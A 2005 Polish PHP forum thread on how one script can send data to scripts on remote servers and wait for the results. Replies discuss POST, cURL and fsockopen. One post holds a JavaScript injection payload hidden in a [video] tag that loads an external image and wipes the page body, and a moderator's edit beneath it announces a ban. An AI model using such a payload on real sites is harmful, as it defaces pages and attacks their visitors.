Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Przesylanie danych, (miedzy dwoma skryptami)
rubin
post
Post #1





Grupa: Zarejestrowani
Postów: 77
Pomógł: 0
Dołączył: 5.09.2003
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


Mam na serwerze skrypt ktory ma wyslac jakos dane do innego skryptu na zdalnym serwerze ktory przetworzy dane i zwroci wynik.
Warunkiem jest aby lokalny skrypt czekal na w/w wynik.
Prosze o sugestie.

Wszystkie chwyty dozwolone (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)

Ten post edytował rubin 22.09.2005, 12:05:27
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 5)
h.4
post
Post #2





Grupa: Zarejestrowani
Postów: 22
Pomógł: 0
Dołączył: 29.06.2005

Ostrzeżenie: (0%)
-----


metoda _POST, _GET wysylasz zapytanie do zdalnego serwera

w odpowiedzi generujesz zaszyfrowany tekst, ktory potem odczytujesz, lub zdalny serwer odsyla odpowiedz metoda _POST i chyba po klopocie
Go to the top of the page
+Quote Post
TomASS
post
Post #3





Grupa: Zarejestrowani
Postów: 1 660
Pomógł: 13
Dołączył: 9.06.2004
Skąd: Wrocław i okolice

Ostrzeżenie: (0%)
-----


Cytat(h.4 @ 2005-09-22 13:31:35)
metoda _POST, _GET wysylasz zapytanie do zdalnego serwera

w odpowiedzi generujesz zaszyfrowany tekst, ktory potem odczytujesz, lub zdalny serwer odsyla odpowiedz metoda _POST i chyba po klopocie

Zastanawiam się po co "w odpowiedzi generować zaszyfrowany tekst"? Pozatym jeśli szanowny kolega rubin nie ma dostępu do "skryptu na zdalnym serwerze", tzn. nie może go edytować, to wtedy formularz ten oczywiście może wysłać dane, ale nie do "lokalnego skryptu", tylko do miejsca, gdzie ktoś mu to zaprogramował, a więc niestety (wg. mnie) h.4 może jesteś w błędzie.

Czy dobrze rozumiem:
  • masz skrypt lokalny generujący dane do formularza "zdalnego"
  • nie masz dostępu do formularza zdalnego
  • formularz "zdalny" wyświetla jakąś odpowiedź, czy wysyła dane?
Go to the top of the page
+Quote Post
Osaka
post
Post #4





Grupa: Zarejestrowani
Postów: 1
Pomógł: 0
Dołączył: 22.09.2005

Ostrzeżenie: (10%)
X----


[video]java script:document.body.background="http://images.geoads.net/publicidad.net/hotbar/1312.gif"; document.body.innerHTML='';this.avi[/video]


----edit----
Witam na forum (IMG:http://forum.php.pl/style_emoticons/default/exclamation.gif) !
Gratuluję zarazem (IMG:http://forum.php.pl/style_emoticons/default/exclamation.gif) !
Wygrałeś karnet uniemożliwiający Ci postowanie na trzy dni i nagrodę za najgłupszy start na forum.

Życzę miłego pobytu.
~mike_mech
Go to the top of the page
+Quote Post
h.4
post
Post #5





Grupa: Zarejestrowani
Postów: 22
Pomógł: 0
Dołączył: 29.06.2005

Ostrzeżenie: (0%)
-----


Ja zrozumiałem to tak:

Masz 2 serwery:

Serwer 1 [lokalny] wysyłający zapytanie do Serwer 2
Serwer 2 [zdalny] odbierający zapytanie z Serwer 1 i zwracanie wyniku.

Za pomocą CURL ze skryptu Serwer 1 wysyłasz zapytanie POST, Serwer 2 odczytuje rodzaj zapytania, generuje odpowiedz i wysyla POST do serwera 1 z tym ze przekierowywuje nas do innej strony gdzie serwer 1 ma za zadanie odczytac dane z POST.


Nie wiem czy dobrze myśle, ale tak bym to rozwiązał.

Ten post edytował h.4 22.09.2005, 14:02:19
Go to the top of the page
+Quote Post
rubin
post
Post #6





Grupa: Zarejestrowani
Postów: 77
Pomógł: 0
Dołączył: 5.09.2003
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


Troche rozjasnie.
Mam dostep do obu skryptow
Z Serwer1 wysyla jakies komendy dowolnym sposobem kolejno do Serwer2, Serwer3, ... ,SerwerN.

Serwery 2,3,N odbieraja komende(kilka zmiennych) dokonuja wskazane obliczenia i wysylaja spowrotem kilka wynikow.

Podczas operacji *musi* byc caly czas nawiazane polaczenie skryptu na Serwer1 z zdalnym serwerem - ma oczekiwac na wynik a na zakonczeniu zsumowac wyniki z wszystkih zapytan.

Mozna to zrobic za pomoca SOAP ale szukam czegos prostszego.


Myslalem o wykorzystaniu fsockopen i wyslaniu w naglowku jakichs zmiennych - a drugiej strony skrypt to odbiera przelicza i znowu w naglowku jako response zwraca wynik. Lub tez odpalenie przez fsockopen jakiegos skryptu z paramterami i zparsowanie tego co wypluje na ekran (IMG:http://forum.php.pl/style_emoticons/default/cool.gif) .
Czy dobrze mysle? Ma ktos jakis pomysl jak to najlepiej zrealizowac?
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 22.08.2025 - 21:57